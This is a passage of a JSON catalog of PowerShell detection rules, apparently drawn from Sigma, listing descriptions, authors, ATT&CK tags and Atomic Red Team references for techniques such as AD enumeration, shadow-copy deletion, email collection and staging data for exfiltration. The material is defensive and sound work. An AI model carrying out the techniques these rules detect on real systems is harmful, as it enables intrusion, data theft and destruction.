{ - "description": "Detetcts PowerShell activity in which Get-Addefaultdomainpasswordpolicy is used to get the default password policy for an Active Directory domain.", - "meta": { - "author": "frack113", - "creation_date": "2022/03/17", - "falsepositive": [ - "Legitimate PowerShell scripts" - ], - "filename": "posh_ps_susp_get_addefaultdomainpasswordpolicy.yml", - "level": "low", - "logsource.category": "ps_script", - "logsource.product": "windows", - "refs": [ - "https://docs.microsoft.com/en-us/powershell/module/activedirectory/get-addefaultdomainpasswordpolicy", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1201/T1201.md#atomic-test-9---enumerate-active-directory-password-policy-with-get-addefaultdomainpasswordpolicy", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_get_addefaultdomainpasswordpolicy.yml" - ], - "tags": [ - "attack.discovery", - "attack.t1201" - ] - }, - "uuid": "bbb9495b-58fc-4016-b9df-9a3a1b67ca82", - "value": "Password Policy Discovery With Get-AdDefaultDomainPasswordPolicy" - }, - { - "description": "Detects the use of Get-AdGroup to enumerate Groups within Active Directory", - "meta": { - "author": "frack113", - "creation_date": "2022/03/17", - "falsepositive": [ - "Unknown" - ], - "filename": "posh_ps_susp_get_adgroup.yml", - "level": "low", - "logsource.category": "ps_script", - "logsource.product": "windows", - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1018/T1018.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_get_adgroup.yml" - ], - "tags": [ - "attack.discovery", - "attack.t1069.002" - ] - }, - "uuid": "8c3a6607-b7dc-4f0d-a646-ef38c00b76ee", - "value": "Suspicious Enumerate Active Directory Groups with Get-AdComputer" - }, - { - "description": "Detects the use of PowerShell to identify the current logged user.", - "meta": { - "author": "frack113", - "creation_date": "2022/04/04", - "falsepositive": [ - "Legitimate PowerShell scripts" - ], - "filename": "posh_ps_susp_get_current_user.yml", - "level": "low", - "logsource.category": "ps_script", - "logsource.product": "windows", - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1033/T1033.md#atomic-test-5---getcurrent-user-with-powershell-script", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_get_current_user.yml", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1033/T1033.md#atomic-test-4---user-discovery-with-env-vars-powershell-script" - ], - "tags": [ - "attack.discovery", - "attack.t1033" - ] - }, - "uuid": "4096a49c-7de4-4da0-a230-c66ccd56ea5a", - "value": "Suspicious PowerShell Get Current User" - }, - { - "description": "Detect use of Get-GPO to get one GPO or all the GPOs in a domain.", - "meta": { - "author": "frack113", - "creation_date": "2022/06/04", - "falsepositive": [ - "Legitimate PowerShell scripts" - ], - "filename": "posh_ps_susp_get_gpo.yml", - "level": "low", - "logsource.category": "ps_script", - "logsource.product": "windows", - "refs": [ - "https://docs.microsoft.com/en-us/powershell/module/grouppolicy/get-gpo?view=windowsserver2022-ps", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1615/T1615.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_get_gpo.yml" - ], - "tags": [ - "attack.discovery", - "attack.t1615" - ] - }, - "uuid": "eb2fd349-ec67-4caa-9143-d79c7fb34441", - "value": "Suspicious GPO Discovery With Get-GPO" - }, - { - "description": "Get the processes that are running on the local computer.", - "meta": { - "author": "frack113", - "creation_date": "2022/03/17", - "falsepositive": [ - "Legitimate PowerShell scripts" - ], - "filename": "posh_ps_susp_get_process.yml", - "level": "low", - "logsource.category": "ps_script", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_get_process.yml", - "https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.management/get-process?view=powershell-7", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1057/T1057.md#atomic-test-3---process-discovery---get-process" - ], - "tags": [ - "attack.discovery", - "attack.t1057" - ] - }, - "uuid": "af4c87ce-bdda-4215-b998-15220772e993", - "value": "Suspicious Process Discovery With Get-Process" - }, - { - "description": "The infrastructure for management data and operations that enables local and remote management of Windows personal computers and servers", - "meta": { - "author": "frack113", - "creation_date": "2022/01/12", - "falsepositive": [ - "Legitimate PowerShell scripts" - ], - "filename": "posh_ps_susp_gwmi.yml", - "level": "low", - "logsource.category": "ps_script", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_gwmi.yml", - "https://attack.mitre.org/datasources/DS0005/", - "https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.management/get-wmiobject?view=powershell-5.1&viewFallbackFrom=powershell-7" - ], - "tags": [ - "attack.persistence", - "attack.t1546" - ] - }, - "uuid": "0332a266-b584-47b4-933d-a00b103e1b37", - "value": "Suspicious Get-WmiObject" - }, - { - "description": "Adversaries may carry out malicious operations using a virtual instance to avoid detection", - "meta": { - "author": "frack113", - "creation_date": "2022/04/09", - "falsepositive": [ - "Legitimate PowerShell scripts" - ], - "filename": "posh_ps_susp_hyper_v_condlet.yml", - "level": "medium", - "logsource.category": "ps_script", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_hyper_v_condlet.yml", - "https://docs.microsoft.com/en-us/virtualization/hyper-v-on-windows/quick-start/enable-hyper-v", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1564.006/T1564.006.md#atomic-test-3---create-and-start-hyper-v-virtual-machine" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1564.006" - ] - }, - "uuid": "42d36aa1-3240-4db0-8257-e0118dcdd9cd", - "value": "Suspicious Hyper-V Cmdlets" - }, - { - "description": "Detects suspicious PowerShell invocation command parameters", - "meta": { - "author": "Florian Roth (rule)", - "creation_date": "2017/03/12", - "falsepositive": [ - "Very special / sneaky PowerShell scripts" - ], - "filename": "posh_ps_susp_invocation_generic.yml", - "level": "high", - "logsource.category": "ps_script", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_invocation_generic.yml" - ], - "tags": [ - "attack.execution", - "attack.t1059.001" - ] - }, - "uuid": "ed965133-513f-41d9-a441-e38076a0798f", - "value": "Suspicious PowerShell Invocations - Generic" - }, - { - "description": "Detects suspicious PowerShell invocation command parameters", - "meta": { - "author": "Florian Roth (rule), Jonhnathan Ribeiro", - "creation_date": "2017/03/05", - "falsepositive": [ - "Unknown" - ], - "filename": "posh_ps_susp_invocation_specific.yml", - "level": "high", - "logsource.category": "ps_script", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_invocation_specific.yml" - ], - "tags": [ - "attack.execution", - "attack.t1059.001" - ] - }, - "uuid": "ae7fbf8e-f3cb-49fd-8db4-5f3bed522c71", - "value": "Suspicious PowerShell Invocations - Specific" - }, - { - "description": "Adversaries may communicate using application layer protocols associated with web traffic to avoid detection/network filtering by blending in with existing traffic.\nCommands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.\n", - "meta": { - "author": "frack113", - "creation_date": "2022/01/23", - "falsepositive": [ - "Unknown" - ], - "filename": "posh_ps_susp_invoke_webrequest_useragent.yml", - "level": "medium", - "logsource.category": "ps_script", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_invoke_webrequest_useragent.yml", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1071.001/T1071.001.md#t1071001---web-protocols" - ], - "tags": [ - "attack.command_and_control", - "attack.t1071.001" - ] - }, - "uuid": "d4488827-73af-4f8d-9244-7b7662ef046e", - "value": "Change User Agents with WebRequest" - }, - { - "description": "Open a handle on the drive volume via the \\\\.\\ DOS device path specifier and perform direct access read of the first few bytes of the volume.", - "meta": { - "author": "frack113", - "creation_date": "2022/01/09", - "falsepositive": [ - "Legitimate PowerShell scripts" - ], - "filename": "posh_ps_susp_iofilestream.yml", - "level": "medium", - "logsource.category": "ps_script", - "logsource.product": "windows", - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1006/T1006.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_iofilestream.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1070.003" - ] - }, - "uuid": "70ad982f-67c8-40e0-a955-b920c2fa05cb", - "value": "Suspicious IO.FileStream" - }, - { - "description": "Detects keywords that could indicate the use of some PowerShell exploitation framework", - "meta": { - "author": "Florian Roth, Perez Diego (@darkquassar)", - "creation_date": "2019/02/11", - "falsepositive": [ - "Unknown" - ], - "filename": "posh_ps_susp_keywords.yml", - "level": "high", - "logsource.category": "ps_script", - "logsource.product": "windows", - "refs": [ - "https://posts.specterops.io/entering-a-covenant-net-command-and-control-e11038bcf462", - "https://github.com/hlldz/Phant0m/blob/30c2935d8cf4aafda17ee2fab7cd0c4aa9a607c2/old/Invoke-Phant0m.ps1", - "https://github.com/PowerShellMafia/PowerSploit/blob/d943001a7defb5e0d1657085a77a0e78609be58f/CodeExecution/Invoke-ReflectivePEInjection.ps1", - "https://gist.github.com/MHaggis/0dbe00ad401daa7137c81c99c268cfb7", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_keywords.yml" - ], - "tags": [ - "attack.execution", - "attack.t1059.001" - ] - }, - "uuid": "1f49f2ab-26bc-48b3-96cc-dcffbc93eadf", - "value": "Suspicious PowerShell Keywords" - }, - { - "description": "Adversaries may attempt to find local system groups and permission settings.\nThe knowledge of local system permission groups can help adversaries determine which groups exist and which users belong to a particular group.\nAdversaries may use this information to determine which users have elevated permissions, such as the users found within the local administrators group.\n", - "meta": { - "author": "frack113", - "creation_date": "2021/12/12", - "falsepositive": [ - "Unknown" - ], - "filename": "posh_ps_susp_local_group_reco.yml", - "level": "low", - "logsource.category": "ps_script", - "logsource.product": "windows", - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1069.001/T1069.001.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_local_group_reco.yml" - ], - "tags": [ - "attack.discovery", - "attack.t1069.001" - ] - }, - "uuid": "fa6a5a45-3ee2-4529-aa14-ee5edc9e29cb", - "value": "Suspicious Get Local Groups Information" - }, - { - "description": "Adversaries may target user email on local systems to collect sensitive information.\nFiles containing email data can be acquired from a users local system, such as Outlook storage or cache files.\n", - "meta": { - "author": "frack113", - "creation_date": "2021/07/21", - "falsepositive": [ - "Unknown" - ], - "filename": "posh_ps_susp_mail_acces.yml", - "level": "medium", - "logsource.category": "ps_script", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_mail_acces.yml", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1114.001/T1114.001.md" - ], - "tags": [ - "attack.collection", - "attack.t1114.001" - ] - }, - "uuid": "2837e152-93c8-43d2-85ba-c3cd3c2ae614", - "value": "Powershell Local Email Collection" - }, - { - "description": "Detects when when a mounted share is removed. Adversaries may remove share connections that are no longer useful in order to clean up traces of their operation", - "meta": { - "author": "oscd.community, @redcanary, Zach Stanford @svch0st", - "creation_date": "2020/10/08", - "falsepositive": [ - "Administrators or Power users may remove their shares via cmd line" - ], - "filename": "posh_ps_susp_mounted_share_deletion.yml", - "level": "medium", - "logsource.category": "ps_script", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_mounted_share_deletion.yml", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1070.005/T1070.005.md" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1070.005" - ] - }, - "uuid": "66a4d409-451b-4151-94f4-a55d559c49b0", - "value": "PowerShell Deleted Mounted Share" - }, - { - "description": "Adversaries may abuse container files such as disk image (.iso, .vhd) file formats to deliver malicious payloads that may not be tagged with MOTW.", - "meta": { - "author": "frack113", - "creation_date": "2022/02/01", - "falsepositive": [ - "Legitimate PowerShell scripts" - ], - "filename": "posh_ps_susp_mount_diskimage.yml", - "level": "low", - "logsource.category": "ps_script", - "logsource.product": "windows", - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1553.005/T1553.005.md#atomic-test-1---mount-iso-image", - "https://docs.microsoft.com/en-us/powershell/module/storage/mount-diskimage?view=windowsserver2022-ps", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_mount_diskimage.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1553.005" - ] - }, - "uuid": "29e1c216-6408-489d-8a06-ee9d151ef819", - "value": "Suspicious Mount-DiskImage" - }, - { - "description": "Adversaries with no prior knowledge of legitimate credentials within the system or environment may guess passwords to attempt access to accounts.\nWithout knowledge of the password for an account, an adversary may opt to systematically guess the password using a repetitive or iterative mechanism\n", - "meta": { - "author": "frack113", - "creation_date": "2021/12/27", - "falsepositive": [ - "Unknown" - ], - "filename": "posh_ps_susp_networkcredential.yml", - "level": "low", - "logsource.category": "ps_script", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_networkcredential.yml", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1110.001/T1110.001.md#atomic-test-2---brute-force-credentials-of-single-active-directory-domain-user-via-ldap-against-domain-controller-ntlm-or-kerberos" - ], - "tags": [ - "attack.credential_access", - "attack.t1110.001" - ] - }, - "uuid": "1883444f-084b-419b-ac62-e0d0c5b3693f", - "value": "Suspicious Connection to Remote Account" - }, - { - "description": "Adversaries may use to interact with a remote network share using Server Message Block (SMB). The adversary may then perform actions as the logged-on user.", - "meta": { - "author": "frack113", - "creation_date": "2022/08/13", - "falsepositive": [ - "Unknown" - ], - "filename": "posh_ps_susp_new_psdrive.yml", - "level": "medium", - "logsource.category": "ps_script", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_new_psdrive.yml", - "https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.management/new-psdrive?view=powershell-7.2", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1021.002/T1021.002.md#atomic-test-2---map-admin-share-powershell" - ], - "tags": [ - "attack.lateral_movement", - "attack.t1021.002" - ] - }, - "uuid": "1c563233-030e-4a07-af8c-ee0490a66d3a", - "value": "Suspicious New-PSDrive to Admin Share" - }, - { - "description": "Detects powershell scripts that creates sockets/listeners which could be indicative of tunneling activity", - "meta": { - "author": "Nasreddine Bencherchali", - "creation_date": "2022/07/08", - "falsepositive": [ - "Unknown" - ], - "filename": "posh_ps_susp_proxy_scripts.yml", - "level": "medium", - "logsource.category": "ps_script", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_proxy_scripts.yml", - "https://github.com/Arno0x/PowerShellScripts/blob/a6b7d5490fbf0b20f91195838f3a11156724b4f7/proxyTunnel.ps1" - ], - "tags": [ - "attack.command_and_control", - "attack.t1090" - ] - }, - "uuid": "bd33d2aa-497e-4651-9893-5c5364646595", - "value": "Suspicious TCP Tunnel Via PowerShell Script" - }, - { - "description": "Once established within a system or network, an adversary may use automated techniques for collecting internal data", - "meta": { - "author": "frack113", - "creation_date": "2021/07/30", - "falsepositive": [ - "Unknown" - ], - "filename": "posh_ps_susp_recon_export.yml", - "level": "medium", - "logsource.category": "ps_script", - "logsource.product": "windows", - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1119/T1119.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_recon_export.yml" - ], - "tags": [ - "attack.collection", - "attack.t1119" - ] - }, - "uuid": "a9723fcc-881c-424c-8709-fd61442ab3c3", - "value": "Recon Information for Export with PowerShell" - }, - { - "description": "Adversaries may interrupt availability of system and network resources by inhibiting access to accounts utilized by legitimate users.\nAccounts may be deleted, locked, or manipulated (ex: changed credentials) to remove access to accounts.\n", - "meta": { - "author": "frack113", - "creation_date": "2021/12/26", - "falsepositive": [ - "Unknown" - ], - "filename": "posh_ps_susp_remove_adgroupmember.yml", - "level": "medium", - "logsource.category": "ps_script", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_remove_adgroupmember.yml", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1531/T1531.md#atomic-test-3---remove-account-from-domain-admin-group" - ], - "tags": [ - "attack.impact", - "attack.t1531" - ] - }, - "uuid": "48a45d45-8112-416b-8a67-46e03a4b2107", - "value": "Remove Account From Domain Admin Group" - }, - { - "description": "Detects usage of the \"Set-Service\" powershell cmdlet to configure a new SecurityDescriptor that allows a service to be hidden from other utilities such as \"sc.exe\", \"Get-Service\"...etc. (Works only in powershell 7)", - "meta": { - "author": "Nasreddine Bencherchali", - "creation_date": "2022/10/24", - "falsepositive": [ - "Rare intended use of hidden services", - "Rare FP could occure due to the non linearity of the ScriptBlockText log" - ], - "filename": "posh_ps_susp_service_dacl_modification_set_service.yml", - "level": "high", - "logsource.category": "ps_script", - "logsource.product": "windows", - "refs": [ - "https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.management/set-service?view=powershell-7.2", - "https://twitter.com/Alh4zr3d/status/1580925761996828672", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_service_dacl_modification_set_service.yml" - ], - "tags": [ - "attack.persistence", - "attack.defense_evasion", - "attack.privilege_escalation", - "attack.t1574.011" - ] - }, - "uuid": "22d80745-6f2c-46da-826b-77adaededd74", - "value": "Suspicious Service DACL Modification Via Set-Service Cmdlet - PS" - }, - { - "description": "Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as\na precursor for Collection and to identify potential systems of interest for Lateral Movement.\nNetworks often contain shared network drives and folders that enable users to access file directories on various systems across a network.\n", - "meta": { - "author": "frack113", - "creation_date": "2021/12/15", - "falsepositive": [ - "Unknown" - ], - "filename": "posh_ps_susp_smb_share_reco.yml", - "level": "low", - "logsource.category": "ps_script", - "logsource.product": "windows", - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1069.002/T1069.002.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_smb_share_reco.yml" - ], - "tags": [ - "attack.discovery", - "attack.t1069.001" - ] - }, - "uuid": "95f0643a-ed40-467c-806b-aac9542ec5ab", - "value": "Suspicious Get Information for SMB Share" - }, - { - "description": "Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol.", - "meta": { - "author": "frack113", - "creation_date": "2022/01/23", - "falsepositive": [ - "Legitimate administrative script" - ], - "filename": "posh_ps_susp_ssl_keyword.yml", - "level": "low", - "logsource.category": "ps_script", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_ssl_keyword.yml", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1573/T1573.md#atomic-test-1---openssl-c2", - "https://medium.com/walmartglobaltech/openssl-server-reverse-shell-from-windows-client-aee2dbfa0926" - ], - "tags": [ - "attack.command_and_control", - "attack.t1573" - ] - }, - "uuid": "195626f3-5f1b-4403-93b7-e6cfd4d6a078", - "value": "Suspicious SSL Connection" - }, - { - "description": "Powershell use PassThru option to start in background", - "meta": { - "author": "frack113", - "creation_date": "2022/01/15", - "falsepositive": [ - "Legitimate PowerShell scripts" - ], - "filename": "posh_ps_susp_start_process.yml", - "level": "medium", - "logsource.category": "ps_script", - "logsource.product": "windows", - "refs": [ - "https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.management/Start-Process?view=powershell-5.1&viewFallbackFrom=powershell-7", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1036.003/T1036.003.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_start_process.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1036.003" - ] - }, - "uuid": "0718cd72-f316-4aa2-988f-838ea8533277", - "value": "Suspicious Start-Process PassThru" - }, - { - "description": "Remove the Zone.Identifier alternate data stream which identifies the file as downloaded from the internet.", - "meta": { - "author": "frack113", - "creation_date": "2022/02/01", - "falsepositive": [ - "Legitimate PowerShell scripts" - ], - "filename": "posh_ps_susp_unblock_file.yml", - "level": "medium", - "logsource.category": "ps_script", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_unblock_file.yml", - "https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.utility/unblock-file?view=powershell-7.2", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1553.005/T1553.005.md#atomic-test-3---remove-the-zoneidentifier-alternate-data-stream" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1553.005" - ] - }, - "uuid": "5947497f-1aa4-41dd-9693-c9848d58727d", - "value": "Suspicious Unblock-File" - }, - { - "description": "An adversary may deface systems internal to an organization in an attempt to intimidate or mislead users.\nThis may take the form of modifications to internal websites, or directly to user systems with the replacement of the desktop wallpaper\n", - "meta": { - "author": "frack113", - "creation_date": "2021/12/26", - "falsepositive": [ - "Unknown" - ], - "filename": "posh_ps_susp_wallpaper.yml", - "level": "low", - "logsource.category": "ps_script", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_wallpaper.yml", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1491.001/T1491.001.md" - ], - "tags": [ - "attack.impact", - "attack.t1491.001" - ] - }, - "uuid": "c5ac6a1e-9407-45f5-a0ce-ca9a0806a287", - "value": "Replace Desktop Wallpaper by Powershell" - }, - { - "description": "Adversaries may attempt to gather information about attached peripheral devices and components connected to a computer system.", - "meta": { - "author": "frack113", - "creation_date": "2021/08/23", - "falsepositive": [ - "Admin script" - ], - "filename": "posh_ps_susp_win32_pnpentity.yml", - "level": "low", - "logsource.category": "ps_script", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_win32_pnpentity.yml", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1120/T1120.md" - ], - "tags": [ - "attack.discovery", - "attack.t1120" - ] - }, - "uuid": "b26647de-4feb-4283-af6b-6117661283c5", - "value": "Powershell Suspicious Win32_PnPEntity" - }, - { - "description": "Deletes Windows Volume Shadow Copies with PowerShell code and Get-WMIObject. This technique is used by numerous ransomware families such as Sodinokibi/REvil", - "meta": { - "author": "frack113", - "creation_date": "2021/12/26", - "falsepositive": [ - "Unknown" - ], - "filename": "posh_ps_susp_win32_shadowcopy.yml", - "level": "high", - "logsource.category": "ps_script", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_win32_shadowcopy.yml", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1490/T1490.md#atomic-test-5---windows---delete-volume-shadow-copies-via-wmi-with-powershell" - ], - "tags": [ - "attack.impact", - "attack.t1490" - ] - }, - "uuid": "e17121b4-ef2a-4418-8a59-12fb1631fa9e", - "value": "Delete Volume Shadow Copies via WMI with PowerShell" - }, - { - "description": "Detects deletion of Windows Volume Shadow Copies with PowerShell code and Get-WMIObject. This technique is used by numerous ransomware families such as Sodinokibi/REvil", - "meta": { - "author": "Tim Rauch", - "creation_date": "2022/09/20", - "falsepositive": [ - "Unknown" - ], - "filename": "posh_ps_susp_win32_shadowcopy_deletion.yml", - "level": "high", - "logsource.category": "ps_script", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_win32_shadowcopy_deletion.yml", - "https://www.elastic.co/guide/en/security/current/volume-shadow-copy-deletion-via-powershell.html", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1490/T1490.md#atomic-test-5---windows---delete-volume-shadow-copies-via-wmi-with-powershell" - ], - "tags": [ - "attack.impact", - "attack.t1490" - ] - }, - "uuid": "c1337eb8-921a-4b59-855b-4ba188ddcc42", - "value": "Deletion of Volume Shadow Copies via WMI with PowerShell" - }, - { - "description": "Adversaries may use hidden windows to conceal malicious activity from the plain sight of users.\nIn some cases, windows that would typically be displayed when an application carries out an operation can be hidden\n", - "meta": { - "author": "frack113", - "creation_date": "2021/10/20", - "falsepositive": [ - "Unknown" - ], - "filename": "posh_ps_susp_windowstyle.yml", - "level": "medium", - "logsource.category": "ps_script", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_windowstyle.yml", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1564.003/T1564.003.md" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1564.003" - ] - }, - "uuid": "313fbb0a-a341-4682-848d-6d6f8c4fab7c", - "value": "Suspicious PowerShell WindowStyle Option" - }, - { - "description": "Detects usage of the \"Write-EventLog\" cmdlet with 'RawData' flag. The cmdlet can be levreage to write malicious payloads to the EventLog and then retrieve them later for later use", - "meta": { - "author": "Nasreddine Bencherchali", - "creation_date": "2022/08/16", - "falsepositive": [ - "Legitimate applications writing events via this cmdlet. Investigate alerts to determine if the action is benign" - ], - "filename": "posh_ps_susp_write_eventlog.yml", - "level": "medium", - "logsource.category": "ps_script", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_write_eventlog.yml", - "https://www.blackhillsinfosec.com/windows-event-logs-for-red-teams/" - ], - "tags": [ - "attack.defense_evasion" - ] - }, - "uuid": "35f41cd7-c98e-469f-8a02-ec4ba0cc7a7e", - "value": "PowerShell Write-EventLog Usage" - }, - { - "description": "Use living off the land tools to zip a file and stage it in the Windows temporary folder for later exfiltration", - "meta": { - "author": "frack113", - "creation_date": "2021/07/20", - "falsepositive": [ - "Unknown" - ], - "filename": "posh_ps_susp_zip_compress.yml", - "level": "medium", - "logsource.category": "ps_script", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_zip_compress.yml", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1074.001/T1074.001.md" - ], - "tags": [ - "attack.collection", - "attack.t1074.001" - ] - }, - "uuid": "b7a3c9a3-09ea-4934-8864-6a32cacd98d9", - "value": "Zip A Folder With PowerShell For Staging In Temp" - }, - { - "description": "Detects SyncAppvPublishingServer process execution which usually utilized by adversaries to bypass PowerShell execution restrictions.", - "meta": { - "author": "Ensar Şamil, @sblmsrsn, OSCD Community", - "creation_date": "2020/10/05", - "falsepositive": [ - "App-V clients" - ], - "filename": "posh_ps_syncappvpublishingserver_exe.yml", - "level": "medium", - "logsource.category": "ps_script", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_syncappvpublishingserver_exe.yml", - "https://lolbas-project.github.io/lolbas/Binaries/Syncappvpublishingserver/" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1218" - ] - }, - "uuid": "dddfebae-c46f-439c-af7a-fdb6bde90218", - "value": "SyncAppvPublishingServer Execution to Bypass Powershell Restriction" - }, - { - "description": "Detects powershell scripts attempting to disable scheduled scanning and other parts of windows defender atp or set default actions to allow.", - "meta": { - "author": "frack113, elhoim", - "creation_date": "2022/01/16", - 